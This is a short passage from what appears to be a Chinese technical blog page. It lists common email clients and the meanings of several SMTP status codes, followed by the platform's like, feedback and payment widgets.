  • foxmail
  • outlook
  • 网易邮箱大师
  • QQ邮箱客户端
4、SMTP状态码
  • 250:所要求的邮件动作完成,可以继续
  • 354:开始接受邮件内容输入
  • 221:服务器关闭了传输通道
  • 334:认证输入
  • 235:认证成功
  • 6
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值